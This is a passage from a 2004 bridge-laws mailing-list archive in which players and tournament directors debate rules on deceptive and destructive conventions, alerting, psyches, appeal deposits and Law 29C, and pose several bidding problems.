blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Tue Jul 27 15:16:55 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 28 Jul 2004 00:16:55 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <001a01c4726f$bdb10d90$667d893e@yourtkrv58tbs0> Message-ID: <000401c473e4$66757d10$c22fc2cb@noeltsui0kso1i> I'm rapidly considering changing to another game; at least one which = will present a challenge in this brave new world... like tiddly-winks, or marbles. Bridge will become a very boring exercise if these sorts of = things become the norm. regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Grattan Endicott Sent: Sunday, July 25, 2004 10:04 PM To: blml@rtflb.org Subject: Re: [blml] Deceiving and destroying grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Comment is free but facts=20 are on expenses." ~ Tom Stoppard ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message -----=20 From: "Ton Kooijman" To: Sent: Sunday, July 25, 2004 10:14 AM Subject: Re: [blml] Deceiving and destroying > > No doubt there are numbers of players who > > see no malice in psyching an artificial opening bid.=20 > > However, this is a view with which some major > > authorities disagree. For example, such a prohibition=20 > > is likely to be found, I believe, in the Conditions of=20 > > Contest for the Olympiad. > > ~ Grattan ~ +=3D+ > >=20 >=20 >=20 > Don't be proud of it please, >=20 > ton >=20 +=3D+ Proud of it? Why should I be proud of it? The initiative does not come from me. However, it is a regulation that both the EBL and the=20 ACBL have adopted and therefore I consider it=20 has an honourable pedigree. As I hear, apart from the intention for Istanbul there is a further=20 proposal from a distinguished source that it=20 should be extended in the Systems Policy to all=20 categories of tournament. I have not made my mind up about this last proposal but I do favour the regulation in those categories to which it is to be applied in the=20 CoCs for the Olympiad =20 ~ Grattan ~ +=3D+ =20 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Tue Jul 27 15:42:47 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 28 Jul 2004 00:42:47 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <002e01c473e7$fe147650$c22fc2cb@noeltsui0kso1i> With a 0 count? You can agree to play an opening 1NT with a 0 count and it is not alertable! You amaze me! regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Tim West-Meads Sent: Tuesday, July 27, 2004 8:43 AM To: blml@rtflb.org Subject: Re: [blml] Deceiving and destroying Ton wrote: > > I would assume if the regulations don't say to alert then this was > > the intention of the regulators. > > In practise things are not as black or white as you suggest. The > regulations for ebl and wbf events about alerting stil say something as > is said in L40: conventional bids or natural bids that might surprise > the opponents. What the heck is ambiguous about the following statement from the official EBL alerting policy on their website? If screens are not in use, do NOT alert the following: 2. Any no-trump bid which suggests a balanced or semi-balanced hand, or suggests a no-trump contract. A mini-NT is NOT alertable. Any TD who ruled otherwise in an EBL event should be sent home in disgrace! This is surely not a matter for "interpretation", nor should we support the idea that individual TDs are entitled to overrule the published CoC. While I agree with Ton that his "instruction" creates an obligation to alert I think this is grossly unfair on the pair concerned and the situation should have lasted no longer than it took the TD to check the EBL regs - nb I assume that EBL regs are implicit (at least) in EBL competition. Tim _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Tue Jul 27 15:42:47 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 28 Jul 2004 00:42:47 +1000 Subject: [blml] AC performance (was Reno ... four) In-Reply-To: Message-ID: <002f01c473e7$ffd5ae50$c22fc2cb@noeltsui0kso1i> Sorry, but while I agree with you, the 'know it all students', or more = to the point, the 'millionaire sponsor to whom money was no object' was = often too stupid or too arrogant to listen to the poor harassed TDs when told = that the appeal had no merit, and appealed anyway - wasting everyone's time = and their money. Now VPs is something they understand - that is, they might lose the event if the AC really takes objection! regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of WILLIAM SCHODER Sent: Tuesday, July 27, 2004 10:30 AM To: blml; Hills Richard Subject: Re: [blml] AC performance (was Reno ... four) I can't help but fault the Aussie system if it was not incumbent upon = the TD to advise the young student of the frivolity of an appeal. There is no = more effective, or faster, way to learn than to get a hit in the pocketbook = where it hurts. When an appellant goes to the AC, it should be with the = complete knowledge and understanding of what can happen. If not, then the TD is = at fault, and the maturation process has been aborted, further creating the "bridge lawyers" who, God forbid, get an AC than isn't much wiser than = they are when they are "sympathetic." What a bunch of garbage it is to say = that we shouldn't have it cost them where it hurts, because it might hurt. = All it does is perpetuate the "maybe we'll get something from the AC." Kojak snip > One reason Australia abolished monetary > deposits for appeals (replacing them with VP > deposits instead), is that the one person > that a monetary deposit might deter - an > impoverished but know-it-all uni student - > was too cocksure to realise that their > appeal had no merit. All Aussie appeals > committees were reluctant to confiscate the > money that the uni student would use for > their week's meals. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml >=20 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From johnson@CCRS.NRCan.gc.ca Tue Jul 27 15:57:47 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Tue, 27 Jul 2004 10:57:47 -0400 (EDT) Subject: [blml] Deceiving and destroying In-Reply-To: from "richard.hills@immi.gov.au" at Jul 27, 2004 10:29:54 AM Message-ID: <200407271457.i6REvm6d029219@athena.ccrs.nrcan.gc.ca> richard.hills@immi.gov.au writes: > > > Rather, pre-alerting merely needs a good faith warning > of *key* and *probable* unusual agreements. The fact > that I unusually (for Australia) play a *rare* 4NT > opening bid as Acol Blackwood is something that I have > never pre-alerted. Right, There's no particular point in pre-alerting something that: a) never rates to come up (I've never had a Blackwood opener -- though my partner did have a hand that would have been suitable. I'd already opened a strong NT in first seat though) b) Doesn't require defensive measures. By contrast I note that a few pairs in the recent US trials included important notes about style. When I played in New York with my father we used to pre-alert the fact that we played 4 card majors and ACOL 2s. (even though pre-alerts didn't exist when we first started to do this) We started to do this after a good player doubled on the auction. What sounded to her like a desparate struggle to game was in fact a slam try auction, and she wasn't over the big hand as she thought. Nothing in the auction was alertable, but it left me with a bad taste. From Frances.Hinden@Shell.com Tue Jul 27 16:12:36 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Tue, 27 Jul 2004 16:12:36 +0100 Subject: [blml] Deceiving and destroying Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCA@lonsc-s-031.europe.shell.com> Well, sorry if you don't like my words, but it is! There is NO problem to fix as it is presently described. If some players come to a tournament and make ridiculous bids that are designed to ruin the event, then there are better ways to get rid of = them - a 'non-bridge solution' - and besides, they will tire of it pretty = quickly anyway. I play a strong 1C - people bid over it in a attempt to 'destroy' our = relay methods. Should this be banned? Looks like you think it should. = Bravo! I'd love people to be stopped from interfering in, nay 'Destroying', my relay sequences. You'll be banning 'false carding' next - it's 'deceiving'! regards, Noel=20 -------------------------------------------------------------------------= - I don't see why this follows. There very definitely was a problem, and = it was fixed with this rule. Look at it this way: suppose your opponents = have a small computer screen in front of them explaining what all your bids = mean, alerted or not (after all, isn't this the goal of complete disclosure?). Methods that simply don't work in that scenario are banned i.e. methods = that=20 are purely designed to confuse you as to their meaning. Destroying your = relay sequences is completely different. The only problem with this rule is that, as others have pointed out, = it's judgemental and your "no technical merit" may be my "best systemic = development since rolling keycard Gerber". But I haven't yet heard of anyone = complaining about something actually having been banned under this rule. From johnson@CCRS.NRCan.gc.ca Tue Jul 27 16:23:16 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Tue, 27 Jul 2004 11:23:16 -0400 (EDT) Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: from "Ed Reppert" at Jul 24, 2004 01:25:32 AM Message-ID: <200407271523.i6RFNGqx029328@athena.ccrs.nrcan.gc.ca> Ed Reppert writes: > > > On Friday, Jul 23, 2004, at 20:41 US/Eastern, Herman De Wael wrote: > > > no it does not. > > > > What can some hope depend on? nothing else but parts of conversations, > > shared experience, systems with others, habits in your area, and the > > like. All these need to be disclosed, and the best way to do so is > > simply to disclose what you think. > > You assume that all bridge players are always completely rational. > > The other day, in a club game, with a pickup partner, I had a hand I > didn't know how to bid. I was sure we could make 5S, but I wasn't sure > we could make six. It would do me no good to ask for aces - I had them > all. In the end, I jump raised to 5S, hoping that partner would > recognize that a source of tricks was what I was looking for. She > passed with KQJ in hearts, and six made handily. In the post mortem, > both opponents said they would have taken 5S as a Grand Slam try. > Partner said she had no clue what was going on, so passed. Had she been > asked during the hand what 5S meant, and replied as above, would you > have ruled she violated Law 40B? And every bridge magazine with a feature like the Master Solvers Club has no problem coming up with scenarios where panelists are on deeply different pages. (And in the MSC you're assumed to be playing a system that's been unusually well fleshed out. At minimum 99% of partnerships haven't come close to covering as much ground as BWS) And for those who think you should be expected to have an agreed meaning for everything, *nobody* has discussed more sequences than Meckwell. In Meckstroth's book he includes two hands where they've never discussed the sequence and have no general principal that applies. From ehaa@starpower.net Tue Jul 27 19:04:02 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 27 Jul 2004 14:04:02 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCA@lonsc-s-031.europ e.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCA@lonsc-s-031.europe.shell.com> Message-ID: <6.1.1.1.0.20040727140144.02ab8ab0@pop.starpower.net> At 11:12 AM 7/27/04, Hinden wrote: >I don't see why this follows. There very definitely was a problem, and it >was fixed with this rule. Look at it this way: suppose your >opponents have >a small computer screen in front of them explaining what all your bids >mean, >alerted or not (after all, isn't this the goal of complete disclosure?). > >Methods that simply don't work in that scenario are banned i.e. >methods that >are purely designed to confuse you as to their meaning. Who is to say what a particular method is "purely designed" to do, other than the person who designed it? Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From TG0JLH1@wpo.cso.niu.edu Tue Jul 27 20:39:31 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Tue, 27 Jul 2004 14:39:31 -0500 Subject: [blml] Deceiving and destroying Message-ID: This thread has confirmed my original suspicion that the Orange Book's reference to *deceiving the opponents* is misconceived. The only deception involved would arise from the opponents' ignorance of the meaning of your conventional call--either through your infraction in not disclosing it or through their dereliction in not finding it out ("protecting themselves"). These are matters dealt with elsewhere in the regulations; there is no occasion for a *separate* regulation about *deceptive* conventions. The ACBL regulation seems to be concerned, in addition, that the opponents may not have prepared a defense to your convention. This is adequately covered by regulations or conditions of contest specifying which conventions are permitted (at different levels of competition, in different kinds of event, or in a specific event). There is no occasion for a *separate* regulation about *destructive* conventions. This is not to deny that a pair may adopt a certain convention just because they think the opponents will be confused by it or unprepared for dealing with it, and that the field should be protected from this sort of maneuver. But the field demands protection equally from the genuine bidding theorists who adopt a novel convention on its supposed merits. The problem is *unusual, unfamiliar methods*; the solution is the same, irrespective of a pair's motives for adopting such methods. Jim Hudson From roger-eymard@wanadoo.fr Tue Jul 27 22:17:45 2004 From: roger-eymard@wanadoo.fr (Roger Eymard) Date: Tue, 27 Jul 2004 23:17:45 +0200 Subject: [blml] Law 29 C References: <200407271523.i6RFNGqx029328@athena.ccrs.nrcan.gc.ca> Message-ID: <003101c4741f$2a1abca0$6400a8c0@supersuperbe> Hello everybody ! I would appreciate your help on that point : During a lecture to future Club TDs, about Law 31, I was asked about the effect of Law 29 C on Law 31 A 2. For exemple, on a 1NT opening, if a 2D transfer bid (specifying H), out of turn, is not accepted, if RHO does not pass, and if the offender bids 3H, her partner "must pass when next it is his turn to call" and remains free to call after that. The conventional bid does not deserve a bigger penalty than a natural bid, provided the correcting bid shows the same suit. I was unable to explain why such provisions for conventional calls were applicable in the frame of Laws 30, 31 and 32, while no similar provision relates to Law 27 (2NT pass 2D... no way to escape). Does somebody know what was the intention of the writer of Law 29 ? Had he in his mind the application of Law 26 ? If not only, what makes an irregular artificial bid deserve a lesser penalty when it is out of turn than when it is insufficient, compared to an irregular natural bid ? I apologize if that point has been previously examined in BLML, but I'm quite new here, and if somebody can explain, thanks ! Roger Eymard From richard.hills@immi.gov.au Tue Jul 27 22:44:53 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 07:44:53 +1000 Subject: [blml] Tuesday night at the Belconnen Labor Club Message-ID: You are a semi-sponsor player partnering a semi-professional player at a semi-social bridge club for the first time. Your partnership's two-minute system discussion resulted in an agreement to play KISS Acol with Benjy Twos. Matchpoint pairs Dlr: North Vul: All The bidding has gone: WEST NORTH EAST SOUTH --- 3NT(1) ?(2) You, South, hold: J943 T7 KT8742 7 (1) Undiscussed. You know that your semi-pro pard does not know your personal preferred agreement for a 3NT opening. But, both you and your semi-pro pard know that: (a) Half the partnerships at this semi-social bridge club define a 3NT opening as 25-27 hcp, balanced. (b) Half the partnerships at this semi-social bridge club play the Gambling 3NT, showing a solid minor. (2) Please explain. What explanation of your semi-pro pard's 3NT bid do you give? What other explanations of your semi-pro pard's 3NT bid do you consider giving? Best wishes Richard Hills From richard.hills@immi.gov.au Tue Jul 27 22:54:11 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 07:54:11 +1000 Subject: [blml] Odobenus rosmarus Message-ID: You are playing SAYC. Imps Dlr: North Vul: North-South The bidding has gone: WEST NORTH EAST SOUTH --- Pass Pass 1C 1NT Pass 2D(1) Pass 2H Pass Pass ? You, South, hold: KQ AK5 AQ6 J9842 What call do you make? What other calls do you consider making? Best wishes Richard Hills From richard.hills@immi.gov.au Tue Jul 27 23:15:14 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 08:15:14 +1000 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills: [snip] >>(c) EBU solution - Adopt the De Wael School of >>ruling that almost all truthful misbidders are >>deemed to be (for the purposes of the Law 75 >>footnote) pseudo-misbidding liars. [snip] David Stevenson: >This is a very objectionable statement. it is >completely untrue, and I am surprised you say >it. [snip] Richard Hills: Completely untrue in EBU theory. As for the actual practice by an EBU AC, I refer you to the extensive discussion on the thread "2003 EBU casebook, appeal 4". Alternatively, you may wish to peruse this completely true and accurate word-for-word quote from EBU TD John (MadDog) Probst: [snip] >>>I don't think there'd be *any* (for *any* read >>>well not much) argument amongst the English >>>ACs or TDs about this. Nailing oppo with a >>>screwed up 5-5 agreement just gets you a bad >>>score - every time. john Best wishes RJH From blml@blakjak.com Wed Jul 28 00:00:36 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 00:00:36 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <6.1.1.1.0.20040727090142.02ab43b0@pop.starpower.net> References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> <002c01c47227$58580130$5a81b6d4@LNV> <004401c472f4$91f97d10$ae81b6d4@LNV> <6.1.1.1.0.20040727090142.02ab43b0@pop.starpower.net> Message-ID: Eric Landau wrote >At 08:20 AM 7/27/04, David wrote: > >> the 10-12 opening has technical merit. There is no reason to ban >>it because it is successful. >> >> But that is no reason to allow a convention that has no technical >>merit whatever. > >But whether a convention has any "technical merit whatever" is a matter >of opinion. And it is only the prospective user of that convention >whose opinion has any justification for being determinative. Otherwise >we must entrust the "No Technical Merit" rubber stamp to some >arbitrarily chosen authority, who can then make any method they choose >disappear simply by applying their stamp, in much the same way George >Bush can make people disappear with his "Illegal Enemy Combatant" stamp. So you come full circle to your opinion of the ACBL. My view is that while authorities make mistakes they do a ***far far far far far*** better job than leaving these matters to the commonsense of all the players, because the set of players with no commonsense [or even deliberately evil ones] will ruin it for everyone else. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 00:02:20 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 00:02:20 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <000101c473e4$6239f640$c22fc2cb@noeltsui0kso1i> References: <000101c473e4$6239f640$c22fc2cb@noeltsui0kso1i> Message-ID: Noel and Pamela wrote >Well, sorry if you don't like my words, but it is! > >There is NO problem to fix as it is presently described. > >If some players come to a tournament and make ridiculous bids that are >designed to ruin the event, then there are better ways to get rid of them - >a 'non-bridge solution' - and besides, they will tire of it pretty quickly >anyway. > >I play a strong 1C - people bid over it in a attempt to 'destroy' our relay >methods. Should this be banned? Looks like you think it should. Bravo! >I'd love people to be stopped from interfering in, nay 'Destroying', my >relay sequences. Why should i object to it? I do not understand this penchant for arguing by deliberate misquoting. I have nothing against "destructive methods". >You'll be banning 'false carding' next - it's 'deceiving'! No, I won't - perhaps reading what i have actually written might be a step forward. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 00:05:30 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 00:05:30 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: <0GCCtvHFtkBBFwQg@blakjak.demon.co.uk> Message-ID: <9$dQTEG6+tBBFwiK@blakjak.demon.co.uk> WILLIAM SCHODER wrote > > > > snip > >> >Why should lucky misbids be Lawfully penalized by a Law change? >> >> Since a psyche and a misbid are different animals, why should a >> law-change about one affect the other? > >snip > >Yes they are different animals, but you seem unaware of the movement that >misbids be treated the same as we now treat psyches(sic). Not yet a fait >acompli -but beware the rumblings in the night! Forgetting, making a bridge >systemic mistake, playing the wrong card which kills the opponents, all will >take precedence over such "sins" as infidelity, need for personal hygiene, >or paying your bills. If the law-makers are actually going to make anti-beginner and anti-novice and anti-poor-player Laws, yes, that's terrible. But I had not realised that was what they intended to do. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 00:07:36 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 00:07:36 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <6.1.1.1.0.20040727140144.02ab8ab0@pop.starpower.net> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCA@lonsc-s-031.europe.shell.com> <6.1.1.1.0.20040727140144.02ab8ab0@pop.starpower.net> Message-ID: Eric Landau wrote >At 11:12 AM 7/27/04, Hinden wrote: > >>I don't see why this follows. There very definitely was a problem, and it >>was fixed with this rule. Look at it this way: suppose your >>opponents have >>a small computer screen in front of them explaining what all your bids >>mean, >>alerted or not (after all, isn't this the goal of complete disclosure?). >> >>Methods that simply don't work in that scenario are banned i.e. >>methods that >>are purely designed to confuse you as to their meaning. > >Who is to say what a particular method is "purely designed" to do, >other than the person who designed it? Two answers. First, like so many other bridge decisions, you make a judgement. if you are not prepared to then you should have no connection with ruling the game. Second, in the actual case quoted as an example, the players concerned made no secret of their intentions - though they expressed them somewhat differently. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 00:09:11 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 00:09:11 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: James Hudson wrote >This thread has confirmed my original suspicion that the Orange Book's >reference to *deceiving the opponents* is misconceived. The only >deception involved would arise from the opponents' ignorance of the >meaning of your conventional call--either through your infraction in not >disclosing it or through their dereliction in not finding it out >("protecting themselves"). These are matters dealt with elsewhere in >the regulations; there is no occasion for a *separate* regulation about >*deceptive* conventions. There are rules for what conventions you are allowed to play, and this is one of them. How are you going to apply such a rule if you remove the rule? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gesta@tiscali.co.uk Wed Jul 28 00:14:49 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 28 Jul 2004 00:14:49 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> Message-ID: <003801c4742f$a8c7fc60$a402e150@multivisionoem> Grattan Endicott To: "blml" ; "Endicott Grattan" Sent: Tuesday, July 27, 2004 2:13 PM Subject: Re: [blml] Deceiving and destroying > My history may be "flawed" but I was a TD (club level > to be sure) in 1955, and became an ACBL TD in 1960. > I stand by my comments, that using 40D to prohibit > what is specifically allowed by 40A is a subterfuge and > stretch of language logic > > +=+ I am strongly of the opinion that you, ton and myself, are all three straight and honest in our opinions and that we are sincere in working, according to our several lights, for the good of the game. Indeed, looking round the table at the meetings we attend, there is no-one of whom I would allege any other motivation or any less integrity. It saddens me when I learn that Kaplan went into print with scandal on the motivations of an unspecified "top ACBL expert" and I dissociate myself from any current suggestions as to the ignoble motivations more recently of unspecified "high level players (even if they weren't so high level but thought themselves to be so)". The people responsible for the framing of the 1975 Laws were Geoffrey Butler, Colin Harding, Edgar Kaplan, Don Oakie, Ralph Mizroch, Carlos Cabanne, de Miranda Jordao, Littman-Le Maitre, Silvio Mazzacara and George Rozenkrantz. I am as little prepared to cast a stone at the integrity of these as I am at the integrity of any WBFLC member when, at a key juncture, it comprised Theus, Howard, Kaplan, Ortiz-Patino, Besse, Cabanne, Ghose, Harding, Wignall, Endicott. Concerning your view of Law 40D, and your exasperation that successive authorities have confirmed the right of SOs to ban psychics of conventional calls, I think you allow an elevated personal vision of how you think the game is intended to be, to prejudice your reading of the text; 40D makes an absolute and unqualified statement and my position is to defend the interpretation of this authorized by, and legal under, the WBF By-Laws. As to the future, a brief testing of the force and direction of the wind tells us which is the lee of the ship and experience suggests it is to this side that we should dispose of slops from the galley. ~ G ~ +=+ From gesta@tiscali.co.uk Tue Jul 27 23:59:17 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 27 Jul 2004 23:59:17 +0100 Subject: [blml] Deceiving and destroying References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCA@lonsc-s-031.europe.shell.com> <6.1.1.1.0.20040727140144.02ab8ab0@pop.starpower.net> Message-ID: <003701c4742f$a7fb0f70$a402e150@multivisionoem> Grattan Endicott To: "Bridge Laws Discussion List" Sent: Tuesday, July 27, 2004 7:04 PM Subject: RE: [blml] Deceiving and destroying > Who is to say what a particular method is > "purely designed" to do, other than the person > who designed it? > +=+ I have sympathy with this objection. The words are probably intended to say "has the effect of". But in general it is better to base specifications upon the physical and mechanical characteristics of the call. Although the examples are imperfect, the approach is exemplified in the WBF definitions of "Brown Sticker conventions and treatments". ~ Grattan ~ +=+ From richard.hills@immi.gov.au Wed Jul 28 00:25:18 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 09:25:18 +1000 Subject: [blml] Deceiving and destroying Message-ID: David Stevenson: >>So you come full circle to your opinion of the ACBL. >> >>My view is that while authorities make mistakes they >>do a ***far far far far far*** better job than >>leaving these matters to the commonsense of all the >>players, because the set of players with no >>commonsense [or even deliberately evil ones] will >>ruin it for everyone else. W.S. Gilbert (paraphrased): >SIR RICHARD. >Now bridgeurs all, whoever you may be, >If you want to rise to the top of the tree, >If your soul isn't fettered to a bunny's stool, >Be careful to be guided by this golden rule. > >CHORUS. >Be careful to be guided by this golden rule. > >SIR RICHARD. >Ignore playing well, but try bureaucracy, >And you all may be Rulers of a committee! > >CHORUS. >Ignore playing well, but try bureaucracy, >And you all may be Rulers of a committee! Richard Hills: I have suffered through many bridge committees, since, as David observes, someone with commonsense has to put their hand up. (I admit that I am not always blessed with commonsense, but I find that my uncommonsense of humour is often useful.) But, in my opinion, many committees waste way too much time with personality clashes and egomania. Best wishes Richard Hills President, Bridge Federation of the ACT From Steve Wright Wed Jul 28 00:36:45 2004 From: Steve Wright (Steve Wright) Date: Wed, 28 Jul 2004 00:36:45 +0100 Subject: [blml] Odobenus rosmarus In-Reply-To: References: Message-ID: In message , richard.hills@immi.gov.au writes > > > > >You are playing SAYC. > >Imps >Dlr: North >Vul: North-South > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- Pass Pass 1C >1NT Pass 2D(1) Pass >2H Pass Pass ? > >You, South, hold: > >KQ >AK5 >AQ6 >J9842 > >What call do you make? >What other calls do you consider making? I would consider but reject the following; 3C - Poor suit quality. No extra length. Partner didn't squeak 2C. Double - Is that penalty considering that 2H on the previous round must be some sort of take out? If penalty then I don't like it as the big hand sits over me. This could be a one-sided defence with partner contributing nothing. If takeout, where's my four spades? 2NT - To play? No chance. Unusual? Wrong shape! So what's left? Pass - Hope it goes off. What values I have are in my short suits. It looks like a defensive hand, but not one I'd want to defend doubled. Looks like 4 or 5 tricks in defence depending on the DK. If partner has something (and the right thing) then this might stretch to 6 defensive tricks. -- Steve Wright From richard.hills@immi.gov.au Wed Jul 28 00:43:29 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 09:43:29 +1000 Subject: [blml] Tuesday night at the Belconnen Labor Club Message-ID: Gordon Bower: >Forgive me for being dense ... but if my >agreement was Acol with no further >discussion, it seems obvious I'd explain >at as an Acol 3NT. [snip] Richard Hills: Denseness excused, you have merely tripped over a nomenclature problem. S.J. (Skid) Simon's Acol of the 1930s bears little resemblance to Aussie Acol of the 2000s. Indeed, in Australia the terms "Acol" and "Standard" tend to refer to two branches of the same system. One branch (Aussie Acol) uses a weak 1NT opening, the other branch (Aussie Standard) uses a strong 1NT opening, but otherwise both branches tend to use interchangeable partnership agreements. Best wishes RJH From gordon@gordonrainsford.co.uk Wed Jul 28 01:17:29 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 28 Jul 2004 01:17:29 +0100 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: References: Message-ID: <82D7DED0-E02B-11D8-BF4D-0003936A6522@gordonrainsford.co.uk> On 27 Jul 2004, at 22:44, richard.hills@immi.gov.au wrote: > > You are a semi-sponsor player partnering a semi-professional > player at a semi-social bridge club for the first time. Your > partnership's two-minute system discussion resulted in an > agreement to play KISS Acol with Benjy Twos. > > Matchpoint pairs > Dlr: North > Vul: All > > The bidding has gone: > > WEST NORTH EAST SOUTH > --- 3NT(1) ?(2) > > You, South, hold: > > J943 > T7 > KT8742 > 7 > > (1) Undiscussed. You know that your semi-pro pard does not > know your personal preferred agreement for a 3NT opening. > But, both you and your semi-pro pard know that: > (a) Half the partnerships at this semi-social bridge > club define a 3NT opening as 25-27 hcp, balanced. > (b) Half the partnerships at this semi-social bridge > club play the Gambling 3NT, showing a solid minor. > > (2) Please explain. > > What explanation of your semi-pro pard's 3NT bid do you > give? The extent of our agreement is to play KISS Acol with Benjy Twos. We didn't discuss this bid, and we've not played together before. > What other explanations of your semi-pro pard's 3NT bid do > you consider giving? None, though I might offer the information, if questioned further, that I don't believe there to be a standard meaning for the bid in this club. -- Gordon Rainsford London UK From john@asimere.com Wed Jul 28 01:33:09 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 28 Jul 2004 01:33:09 +0100 Subject: [blml] Law 29 C In-Reply-To: <003101c4741f$2a1abca0$6400a8c0@supersuperbe> References: <200407271523.i6RFNGqx029328@athena.ccrs.nrcan.gc.ca> <003101c4741f$2a1abca0$6400a8c0@supersuperbe> Message-ID: In article <003101c4741f$2a1abca0$6400a8c0@supersuperbe>, Roger Eymard writes >Hello everybody ! > >I would appreciate your help on that point : >During a lecture to future Club TDs, about Law 31, I was asked about the >effect of Law 29 C on Law 31 A 2. For exemple, on a 1NT opening, if a 2D >transfer bid (specifying H), out of turn, is not accepted, if RHO does not >pass, and if the offender bids 3H, her partner "must pass when next it is >his turn to call" and remains free to call after that. The conventional bid >does not deserve a bigger penalty than a natural bid, provided the >correcting bid shows the same suit. >I was unable to explain why such provisions for conventional calls were >applicable in the frame of Laws 30, 31 and 32, while no similar provision >relates to Law 27 (2NT pass 2D... no way to escape). > >Does somebody know what was the intention of the writer of Law 29 ? >Had he in his mind the application of Law 26 ? >If not only, what makes an irregular artificial bid deserve a lesser penalty >when it is out of turn than when it is insufficient, compared to an >irregular natural bid ? > >I apologize if that point has been previously examined in BLML, but I'm >quite new here, and if somebody can explain, thanks ! One thing which traps even quite experienced TD's is that the law relating to insufficient bids, and the Law relating to Bids out of turn are not as similar as one would expect. Where we tend to know the Law relating to insufficient bids fairly well (eg you can make it good, you can't double etc) as TD's we don't very often get Bids Out Of Turn, and my advice is to be very diligent when handling them. As for what was in the mind of the writer of the Law ... don't even ask :) regards John > >Roger Eymard > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed Jul 28 01:40:08 2004 